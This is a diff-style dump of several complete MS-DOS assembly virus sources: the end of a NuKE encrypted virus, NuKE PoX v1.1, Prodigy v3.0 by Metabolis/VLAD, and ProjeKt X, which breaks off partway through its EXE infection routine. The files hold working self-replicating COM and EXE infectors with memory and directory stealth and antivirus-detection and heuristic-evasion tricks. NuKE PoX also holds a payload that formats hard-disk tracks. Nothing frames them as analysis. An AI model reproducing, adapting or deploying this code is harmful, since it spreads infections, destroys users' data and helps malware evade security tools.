repne movsb
mov cx,crypt_size
sub cx,3h ;Encrypt that 2nd copy!
push bp
mov bp,offset last + 3h
call decrypt_encrypt
pop bp
mov ah,40h ;Write the New Encrypted
mov dx,offset last ;Virus to File!
mov cx,virus_size
int 21h
jc exit_error ;Error Split
mov ax,4200h
xor cx,cx ;Pointer back to beginning
xor dx,dx ;file!
int 21h
jc exit_error ;Split Dude...
clc ;Clear carry flag
retn
exit_error:
stc ;Set carry flag
retn
infect_me endp
old_time dw ?
old_date dw ?
jump_address db 0E9h,90h,90h
buffer db 90h,0CDh,020h
crypt:
msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'...
;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*-
decrypt proc near
pop bp
push bp
mov al,byte ptr [value-106h][bp] ;Get new Encryption
mov cx,crypt_size ;Value
decrypt_encrypt:
xor cs:[bp],al ;Fuck Scanners and put a
inc bp ;`NOT AL' anywhere here...
loop decrypt_encrypt
retn
value db 00h ;Encryption value!
decrypt endp
last:
seg_a ends
end start

@ -0,0 +1,497 @@
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-* (c) Rock Steady, Viral Developments -*
;*- (c) NuKE Software Developement 1991, 1992 *-
;-* Virus: NuKE PoX Version 1.1 (Alias: Evil Genius, NPox) -*
;*- ~~~~~~ *-
;-* Notes: Resident EXE & COM Infecting, Memory Stealth, Directory -*
;*- ~~~~~~ Stealth (FCB Method), Anti-Viral Products Aware, Infects *-
;-* COMMAND.COM on first Run, CTRL-ALT-DEL Aware... -*
;*- Bytes: 963 Bytes Memory: 963 Bytes *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
virus_size equ last - init_virus
mut1 equ 3
mut2 equ 1
mut3 equ 103h
del_code equ 53h
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
rocko proc far
start: jmp init_virus
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Virus Begins Here...
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
init_virus:
call doit_now ;Doit VirusMan...
doit_now: pop bp ;Not to Lose Track
sub bp,106h ;Set our position
push ax ;Save all the registers
push bx
push cx
push dx
push si
push di
push bp
push es
push ds
mov ax,7bcdh ;Are we resident Already?
int 21h
cmp bx,7bcdh ;Yupe... Quit Then...
je exit_com
xor bx,bx
push cs ;Get CS=DS
pop ds
mov cx,es
mov ax,3509h ;Hook Int 9 Please...
int 21h
mov word ptr cs:[int9+2][bp],es
mov word ptr cs:[int9][bp],bx
mov ax,3521h ;Sometimes tend to intercept
int 21h ;This Interrupt...
mov word ptr cs:[int21+2][bp],es ;Save the Int
mov word ptr cs:[int21][bp],bx ;Vector Table
dec cx ;Get a new Memory block
mov es,cx ;Put it Back to ES
mov bx,es:mut1
mov dx,virus_size ;Size to `Hide'
mov cl,4 ;And all this crap hides
shr dx,cl ;your number od bytes in DX
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4ah ;Call int to do it...
int 21h
jc exit_com
mov ah,48h
dec dx
mov bx,dx ;It's Done... Yeah!
int 21h
jc exit_com
dec ax
mov es,ax
mov cx,8h ;Here we move our Virus into
mov es:mut2,cx ;the `Hidden' memory!
sub ax,0fh
mov di,mut3
mov es,ax
mov si,bp
add si,offset init_virus
mov cx,virus_size
cld
repne movsb
mov ax,2521h ;Restore Int21 with ours
mov dx,offset int21_handler ;Where it starts
push es
pop ds
int 21h
mov ax,2509h ;Restore Int9 with ours
mov dx,offset int9_handler ;The Handler...
int 21h
push cs
pop ds
exit_com:
cmp word ptr cs:[buffer][bp],5A4Dh
je exit_exe_file ;Its an EXE file...
mov bx,offset buffer ;Its a COM file restore
add bx,bp ;First three Bytes...
mov ax,[bx] ;Mov the Byte to AX
mov word ptr ds:[100h],ax ;First two bytes Restored
add bx,2 ;Get the next Byte
mov al,[bx] ;Move the Byte to AL
mov byte ptr ds:[102h],al ;Restore the Last of 3 Bytes
pop ds
pop es
pop bp ;Restore Regesters
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,100h ;Jump Back to Beginning
push ax ;Restores our IP (a CALL
retn ;Saves them, now we changed
int21 dd ? ;Our Old Int21
int9 dd ? ;Our Old Int9
exit_exe_file:
mov bx,word ptr cs:[buffer+22][bp] ;Load CS Regester
mov dx,cs
sub dx,bx
mov ax,dx
add ax,word ptr cs:[exe_cs][bp] ;Get original CS
add dx,word ptr cs:[exe_ss][bp] ;Get original SS
mov bx,word ptr cs:[exe_ip][bp] ;Get original IP
mov word ptr cs:[fuck_yeah][bp],bx ;Restore IP
mov word ptr cs:[fuck_yeah+2][bp],ax ;Restore CS
mov ax,word ptr cs:[exe_sp][bp] ;Get original SP
mov word ptr cs:[Rock_Fix1][bp],dx ;Restore SS
mov word ptr cs:[Rock_Fix2][bp],ax ;Restore SP
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
db 0B8h ;This is now a MOV AX,XXXX
Rock_Fix1: ;XXXX is the original SS
dw 0 ;Our XXXX Value
cli ;Disable Interrupts
mov ss,ax ;Mov it to SS
db 0BCh ;This is now a MOV SP,XXXX
Rock_Fix2:
dw 0 ;The XXXX Value for SP
sti ;Enable interrupts
db 0EAh ;JMP XXXX:YYYY
fuck_yeah:
dd 0 ;Dword IP:CS (Reverse order!
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Int 9 Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int9_handler: ;Every TIME a KEY is pressed
push ax ;This ROUTINE is called!
in al,60h ;Has the user attempted a
cmp al,del_code ;CTRL-ALT-DEL
je warm_reboot ;Yes! Screw him
bye_bye: pop ax
jmp dword ptr cs:[int9] ;Nope, Leave system alone
warm_reboot:
mov ah,2ah ;Get Date Please
int 21h
cmp dl,18h ;Is it 24th of the Month?
jne bye_bye ;Yes, bye_Bye HD
mov ch,0
hurt_me: mov ah,05h
mov dh,0
mov dl,80h ;Formats a few tracks...
int 13h ;Hurts So good...
inc ch
cmp ch,20h
loopne hurt_me
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
iret
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Dir Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
dir_handler:
pushf
push cs
call int21call ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected ;Not for us man...
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,1dh ;Is in 58 seconds?
jnz not_infected ;Nope...
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],virus_size ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected: pop es
pop bx
pop ax
no_good: iret
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Int 21 Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int21_handler:
cmp ax,4b00h ;File executed
je execute
cmp ah,11h ;Dir handler
je dir_handler
cmp ah,12h ;Next file Dir handler
je dir_handler
cmp ax,7bcdh ;Virus testing
jne int21call
jmp execute
int21call:
jmp dword ptr cs:[int21] ;Split...
execute:
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
cmp ax,7bcdh ;Was Virus testing if it was
jne continue ;Alive? If No Continue
push cs
pop ds ;If Yes, Check if COMMAND.CO
mov dx,offset command ;Is infected! And return
jmp continue2
continue:
call check_name ;Make sure file executed
jc exit_now ;Ain't a Anti-Viral program
continue2: ;With the CRC-32 checkers
mov ax,4300h ;Get file Attribs
int 21h
jc exit
test cl,1h ;Make sure there normal
jz open_file ;Okay there are
and cl,0feh ;Nope, Fix them...
mov ax,4301h ;Save them now
int 21h
jc exit
open_file: mov ax,3D02h
int 21h ;Open File to Infect please
jc exit ;Error Split
mov bx,ax ;BX File handler
mov ax,5700h ;Get file TIME + DATE
int 21h
mov al,cl
or cl,1fh ;Un mask Seconds
dec cx ;60 seconds
dec cx ;58 seconds
xor al,cl ;Is it 58 seconds?
jz exit ;File already infected
push cs
pop ds
mov word ptr ds:[old_time],cx ;Save Time
mov word ptr ds:[old_date],dx ;Save Date
mov ah,3Fh
mov cx,20h
mov dx,offset ds:[buffer] ;Read first 20h bytes
int 21h
jc exit_now ;Error Split
mov ax,4202h ;Move file pointer to end of
xor cx,cx ;file...
xor dx,dx
int 21h
jc exit_now ;Error Split
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
je exe_file ;JMP to EXE Infector
mov cx,ax
sub cx,3 ;Set the JMP
mov word ptr cs:[jump_address+1],cx
call infect_me ;Infect!
jc exit_now ;error split
mov ah,40h ;Write back the firs
mov dx,offset ds:[jump_address] ;bytes
mov cx,3h
int 21h
exit_now:
mov cx,word ptr cs:[old_time] ;Restore old time
mov dx,word ptr cs:[old_date] ;Restore Old date
mov ax,5701h
int 21h
exit_now2:
mov ah,3Eh
int 21h ;Close File now...
exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
cmp ax,7bcdh ;Virus checking if alive
jne leave_now ;No, Exit normally
mov bx,ax ;Yes, Fix BX with codez
leave_now:
jmp dword ptr cs:[int21] ;Jmp back to whatever
exe_file:
mov cx,word ptr cs:[buffer+20] ;IP Regester
mov word ptr cs:[exe_ip],cx ;Save IP Regester
mov cx,word ptr cs:[buffer+22] ;CS Regester
mov word ptr cs:[exe_cs],cx ;Save CS Regester
mov cx,word ptr cs:[buffer+16] ;SP Regester
mov word ptr cs:[exe_sp],cx ;Save SP Regester
mov cx,word ptr cs:[buffer+14] ;SS Regester
mov word ptr cs:[exe_ss],cx ;Save SS Regester
push ax
push dx
call multiply ;Figure a new CS:IP
sub dx,word ptr cs:[buffer+8]
mov word ptr cs:[buffer+22],dx ;Restore New CS
mov word ptr cs:[buffer+20],ax ;Restore New IP
pop dx
pop ax
add ax,virus_size
adc dx,0
push ax
push dx
call multiply ;Figure a new SS:SP
sub dx,word ptr cs:[buffer+8] ;Exe Size (512 Usuall
add ax,40h
mov word ptr cs:[buffer+14],dx ;New SS Pointer
mov word ptr cs:[buffer+16],ax ;New SP Pointer
pop dx
pop ax
push bx
push cx
mov cl,7 ;Fix for Header for
shl dx,cl ;new file size in 512
;byte pages
mov bx,ax
mov cl,9 ;And the remainder
shr bx,cl ;after dividing by
;512...
add dx,bx
and ax,1FFh
jz outta_here
inc dx
outta_here:
pop cx
pop bx
mov word ptr cs:[buffer+2],ax ;Save Remainder
mov word ptr cs:[buffer+4],dx ;Save Size in 512 pag
call infect_me ;INFECT File! Yeah!
jc exit_exe
mov ah,40h ;Write NEW EXE Header back
mov dx,offset ds:[buffer] ;to EXE File! Points to
mov cx,20h ;The Virus Now!!! ehhe
int 21h
exit_exe:
jmp exit_now
rocko endp
exe_ip dw 0 ;Original IP,CS,SP,SS From EXE
exe_cs dw 0 ;Header!
exe_sp dw 0
exe_ss dw 0
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Infection Routine...
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me proc near
mov ah,40h ;Write the New Encrypted
mov dx,offset init_virus ;Virus to File!
mov cx,virus_size
int 21h
jc exit_error ;Error Split
mov ax,4200h
xor cx,cx ;Pointer back to beginning
xor dx,dx ;file!
int 21h
jc exit_error ;Split Dude...
clc ;Clear carry flag
retn
exit_error:
stc ;Set carry flag
retn
infect_me endp
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Fix EXE Header...Gets new SS, CS Values for EXEs headers
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
multiply proc near
push bx
push cx
mov cl,0Ch
shl dx,cl
mov bx,ax
mov cl,4
shr bx,cl
add dx,bx
and ax,0Fh
pop cx
pop bx
retn
multiply endp
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Check to see if an `Anti-Viral' Product is being executed.
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
check_name proc near
push si
push cx
mov si,dx
mov cx,128h
loop_me:
cmp byte ptr ds:[si],2Eh ;Find ASCIIZ String
je next_ok
inc si
loop loop_me
next_ok:
cmp ds:[si-2],'TO' ;Is it ??PROT.EXE (F-PROT)
jne next_1 ;Naaa
cmp ds:[si-4],'RP'
je bad_file ;Yupe...
next_1:
cmp ds:[si-2],'NA' ;Is it SCAN.EXE (McAffee)
jne next_2 ;Naaa
cmp ds:[si-4],'CS'
je bad_file ;Yupe...
next_2:
cmp ds:[si-2],'NA' ;is it ?LEAN.EXE (Clean.EXE
jne next_3 ;Naaa
cmp ds:[si-4],'EL'
je bad_file ;Yupe...
next_3:
pop cx
pop si ;good file Set CARRY FLAG
clc ;to normal
retn
bad_file:
pop cx ;Bad file, Set CARRY FLAG
pop si ;ON!!!
stc
retn
check_name endp
command db "C:\COMMAND.COM",0 ;What to infect!
old_time dw ?
old_date dw ?
jump_address db 0E9h,90h,90h
buffer db 90h,0CDh,020h
db 30h DUP (?)
msg db "NukE PoX V1.1 - R.S"
last:
seg_a ends
end start

File diff suppressed because it is too large Load Diff

@ -0,0 +1,244 @@
; - [Prodigy] v3.0
; Metabolis/VLAD
; _ _ .---------.
; | | |_| | T H E |
; | | _ `---------'
; _____ _____ _____ ___| | | | ______ _ _
; | _ | | .-. | | _ | | _ | | | | ___/ | | | |
; | |_| | | `-' | | |_| | | |_| | | | | |___ | | | |
; | ___| |_|~\_\ |_____| |_____| |_| \_,. | |_|_|_|
; | | .---------------------. | | | |
; | | | - VIRUS! v3.0 - | | | | |
; |_| `---------------------' |_| |_|
;
; - Direct Action, Parasitic .COM infector
; - Restores original attributes and file date/time
; - Searches '..' until there are no more files to infect
; - Won't infect COMMAND.COM
; - Has an infection counter (set to infect 2 at a time right now)
;
; - sure, this virus is simple, and not really worth releasing.. but
; not everyone is up to understanding Qark's level of code,
; certainly not me. So for the people who are just starting off
; take a look at this one. It's the 3rd virus I've written, the
; other 2 definately not worth publishing :) hehe
;
; - Use a86 to compile
org 0100h ; yer COM file starts
; at this mem address
db 0e9h,00h,00h ; jump to begin
begin:
call $+3 ; get the delta offset
next: int 3h ; (overcomes 'E' heuristic)
pop bp ; for the virus and
sub bp, offset next ; stick it in BP
set_dta:
lea si, [bp+offset first3]
mov di, 100h
movsw
movsb
; the virus puts the original three bytes of the program back
; at 100h so all we have to do at the end of the virus is jump
; to 100h and it will execute the infected program as normal
mov byte ptr [bp+counter], 00h ; initialise infection
; counter
mov ah,47h ; get current directory
xor dl,dl ; and put it in currdir
lea si,[bp+offset currdir] ; (dl=0 <- default drive)
int 21h
mov ah,1Ah ; Set DTA to buffer
lea dx,[bp+offset tempDTA] ; so command line params
int 21h ; aren't overwritten
find_first:
mov ah,4eh ; find first file
mov cx,7 ; with any attributes
dec byte ptr [bp+offset mask]
; the reason I dec the '+' in the filemask is because this
; makes it an asterisk. This will get past scanners picking
; up *.COM as a heuristic.
lea dx,[bp+offset mask] ; look for *.COM
int 21h
inc byte ptr [bp+offset mask]
; this restores the '*' in the filemask to '+' for writing
; back to disk.
jnc open_file ; no files to infect..
jmp load_com
fn:
jmp find_next
; find_next is too far from most places so I've set this up to
; make life easier :) it gets around the jump > 128 error.
open_file:
; when a file is found with either find first or find next
; all of its details like size, attributes, name etc are stored
; in an area called DTA which resides at 80h (just before the
; COM itself at 100h). In this case, the DTA has been moved
; to another address. The different details are positioned
; at various positions from 80h. 9eh for instance is the
; position of the filename (ASCIIZ)
cmp word ptr [bp+tempDTA+1eh],'OC' ; don't infect command.com
je fn ; uh oh.. find another file
lea dx,[bp+tempDTA+1eh] ; filename in DTA
mov ax,4301h ; put normal attributes
mov cx,20h ; on the file
int 21h
jc fn ; error, we outta here
mov ax,3D02h ; open that file!
lea dx,[bp+tempDTA+1eh] ; filename in DTA
int 21h
jc fn ; can't open file :(
xchg bx,ax ; put file handle in BX
infect:
mov cx,3 ; read 3 bytes from file
mov ah,03Fh ; and stick them in first3
lea dx,[bp+offset first3]
int 021h
lea cx,word ptr [bp+offset first3] ; put the first 2 bytes of
; the file in cx
add cl,ch ; add the two bytes together
cmp cl,167 ; M+Z=167 ?
je fn
; if I simply compared the first two bytes to 'MZ' (or 'ZM' since
; it would be a word) this would set off a tbscan heuristic, so
; I've used the adding method, although N+Y=167 it is not really
; worth worrying about, I have seen the first two bytes of a COM
; file equal 167 yet.
call lseek_end ; move to the end of the file
sub ax,heap-begin+3 ; subtract the virus length
cmp word ptr [bp+first3+1],ax ; see if jump is to virus
je fn ; file already infected
add ax,heap-begin ; add on to know where to
mov word ptr [bp+infjump+1],ax ; jump to and fix it up
mov ax,4200h ; lseek to beginning of file
cwd ; xor dx,dx
xor cx,cx
int 21h
mov cx,3 ; write 3 bytes to file
mov ah,40h ; (the new jump to the
lea dx,[bp+offset infjump] ; virus)
int 21h
call lseek_end ; move to the end of the file
mov cx,heap-begin ; write the virus
mov ah,40h ; to the end of the
lea dx,[bp+offset begin] ; file
int 21h
call close_file
load_com:
inc byte ptr [bp+counter] ; add one to the counter
cmp byte ptr [bp+counter],2 ; check if X files have
jne find_next ; been infected
mov ah, 1Ah ; restore DTA to original
mov dx, 80h ; position
int 21h
mov ah,3bh ; Change directory
lea dx,[bp+offset slash] ; to the way it was
int 21h ; before the dot dot
mov bx,101h ; we need to jump to 100h
dec bx ; this will knock out a
jmp bx ; tbscan heuristic :)
find_next:
call close_file ; make sure file is closed
mov ah,4fh ; find next file
int 21h
jc dot_dot
jmp open_file ; infect the bastard!
dot_dot:
mov ah,3bh ; change directory
lea dx,[bp+offset dds] ; to '..' from the
int 21h ; current directory
jc load_com
jmp find_first
close_file:
xor cx,cx
mov cl,byte ptr [bp+tempdta+15h] ; get old attr from DTA
lea dx,[bp+TempDTA+1eh] ; position of filename in DTA
mov ax,4301h ; set attr to original
int 21h
mov cx,word ptr [bp+tempDTA+16h] ; date and time
mov dx,word ptr [bp+tempDTA+18h] ; date and time
mov ax,5701h ; set file date/time
int 21h
mov ah,3eh ; close file
int 21h
ret
lseek_end:
mov ax,4202h ; get to the end
cwd ; of the file (xor dx,dx)
xor cx,cx
int 21h
ret
quote db 0dh,0ah
db '[Prodigy] v3.0 by Metabolis/VLAD',0dh,0ah
db '"Feel the jungle vibe baby"',0dh,0ah
db '"In the jungle, In the jungle.."',0dh,0ah
; [Prodigy] v3.0 by Metabolis/VLAD
; "Feel the jungle vibe baby"
; "In the jungle, In the jungle.."
; Quote from "Ruff in the jungle bizness" by the Prodigy :)
infjump db 0e9h,00h,00h ; jump to the virus
first3 db 0cdh,20h,00h ; First 3 bytes of the
; com file that was infected
dds db '..',00 ; '..' for dir recursor
mask db '+','.COM',00 ; filemask (for finding files)
slash db '\' ; fix for currdir
; when you use the get current directory function it doesn't
; put a '\' at the beginning of it, so it's not possible to
; change to the directory if you store it straight away,
; that's why I change to directory from offset slash rather
; than currdir since it's ASCIIZ.. (string ending in a zero)
heap:
currdir db 64 dup (?) ; storage for default dir
counter db 00 ; infection counter
tempdta db 43 dup (?)
; everything after heap doesn't actually get written to disk when
; the virus infects a file.

@ -0,0 +1,519 @@
; PROJEKTX.ASM : ProjeKt X
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'AI' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
mov bp,(offset heap - offset startencrypt)/2 ; iterations
patch_startencrypt:
mov bx,offset startencrypt ; start of decryption
decrypt_loop:
db 2eh,81h,37h ; xor word ptr cs:[bx], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc bx ; calculate new decryption location
inc bx
dec bp ; If we are not done, then
jnz decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
cmp sp,id ; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],3 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+exe_mask]
call infect_mask
lea dx,[bp+com_mask]
call infect_mask
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
call get_second
cmp ax,0032h ; Did the function return 50?
jl skip00 ; If less, skip effect
jmp short activate_one ; Success -- skip jump
skip00:
call get_hour
cmp ax,0017h ; Did the function return 23?
jne skip01 ; If not equal, skip effect
call get_weekday
cmp ax,0003h ; Did the function return 3?
jne skip01 ; If not equal, skip effect
jmp activate_two ; Success -- skip jump
skip01: jmp exit_virus
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
int 21h
retn ; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 db ? ; Actually four bytes
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
stacksave2 dd ?
activate_one: ; Conditions satisfied
mov cx,0003h ; First argument is 3
new_shot: push cx ; Save the current count
mov dx,0140h ; DX holds pitch
mov bx,0100h ; BX holds shot duration
in al,061h ; Read the speaker port
and al,11111100b ; Turn off the speaker bit
fire_shot: xor al,2 ; Toggle the speaker bit
out 061h,al ; Write AL to speaker port
add dx,09248h ;
mov cl,3 ;
ror dx,cl ; Figure out the delay time
mov cx,dx ;
and cx,01FFh ;
or cx,10 ;
shoot_pause: loop shoot_pause ; Delay a bit
dec bx ; Are we done with the shot?
jnz fire_shot ; If not, pulse the speaker
and al,11111100b ; Turn off the speaker bit
out 061h,al ; Write AL to speaker port
mov bx,0002h ; BX holds delay time (ticks)
xor ah,ah ; Get time function
int 1Ah ; BIOS timer interrupt
add bx,dx ; Add current time to delay
shoot_delay: int 1Ah ; Get the time again
cmp dx,bx ; Are we done yet?
jne shoot_delay ; If not, keep checking
pop cx ; Restore the count
loop new_shot ; Do another shot
jmp go_now
go_now:
mov ax,0003h ; stick 3 into ax.
int 10h ; Set up 80*25, text mode. Clear the
; screen, too.
mov ax,1112h ; We are gunna use the 8*8 internal
; font, man.
int 10h ; Hey man, call the interrupt.
mov ah,09h ; Use DOS to print fake error
; message
mov dx,offset fake_msg
int 21h
mov ah,4ch ; Lets ditch.
int 21h ; "Make it so."
jmp exit_virus
activate_two: ; First, get current video mode and page.
mov cx,0B800h ;color display, color video mem for page 1
mov ah,15 ;Get current video mode
int 10h
cmp al,2 ;Color?
je A2 ;Yes
cmp al,3 ;Color?
je A2 ;Yes
cmp al,7 ;Mono?
je A1 ;Yes
int 20h ;No,quit
;here if 80 col text mode; put video segment in ds.
A1: mov cx,0A300h ;Set for mono; mono videomem for page 1
A2: mov bl,0 ;bx=page offset
add cx,bx ;Video segment
mov ds,cx ;in ds
;start dropsy effect
xor bx,bx ;Start at top left corner
A3: push bx ;Save row start on stack
mov bp,80 ;Reset column counter
;Do next column in a row.
A4: mov si,bx ;Set row top in si
mov ax,[si] ;Get char & attr from screen
cmp al,20h ;Is it a blank?
je A7 ;Yes, skip it
mov dx,ax ;No, save it in dx
mov al,20h ;Make it a space
mov [si],ax ;and put on screen
add si,160 ;Set for next row
mov di,cs:Row ;Get rows remaining
A5: mov ax,[si] ;Get the char & attr from screen
mov [si],dx ;Put top row char & attr there
A6: call Vert ;Wait for 2 vert retraces
mov [si],ax ;Put original char & attr back
;Do next row, this column.
add si,160 ;Next row
dec di ;Done all rows remaining?
jne A5 ;No, do next one
mov [si-160],dx ;Put char & attr on line 25 as junk
;Do next column on this row.
A7: add bx,2 ;Next column, same row
dec bp ;Dec column counter; done?
jne A4 ;No, do this column
;Do next row.
A8: pop bx ;Get current row start
add bx,160 ;Next row
dec cs:Row ;All rows done?
jne A3 ;No
A9: mov ax,4C00h
int 21h ;Yes, quit to DOS with error code
;routine to deal with snow on CGA screen.
Vert: push ax
push dx
push cx ;Save all registers used
mov cl,2 ;Wait for 2 vert retraces
mov dx,3DAh ;CRT status port
F1: in al,dx ;Read status
test al,8 ;Vert retrace went hi?
je F1 ;No, wait for it
dec cl ;2nd one?
je F3 ;Yes, write during blanking time
F2: in al,dx ;No, get status
test al,8 ;Vert retrace went low?
jne F2 ;No, wait for it
jmp F1 ;Yes, wait for next hi
F3: pop cx
pop dx
pop ax ;Restore registers
ret
jmp exit_virus
get_weekday proc near
mov ah,02Ah ; DOS get date function
int 021h
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_weekday endp
get_day proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dl ; Copy day into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_day endp
get_hour proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,ch ; Copy hour into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_hour endp
get_minute proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,cl ; Copy minute into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_minute endp
get_second proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,dh ; Copy second into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_second endp
note db '[ProjeKt X]',0
infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
cmp ax,3230 ; Is it too small?
jb find_next
cmp ax,65535-(endheap-decrypt) ; Is it too large?
ja find_next
mov bx,word ptr [bp+buffer+1]; get jmp location
add bx,heap-decrypt+3 ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
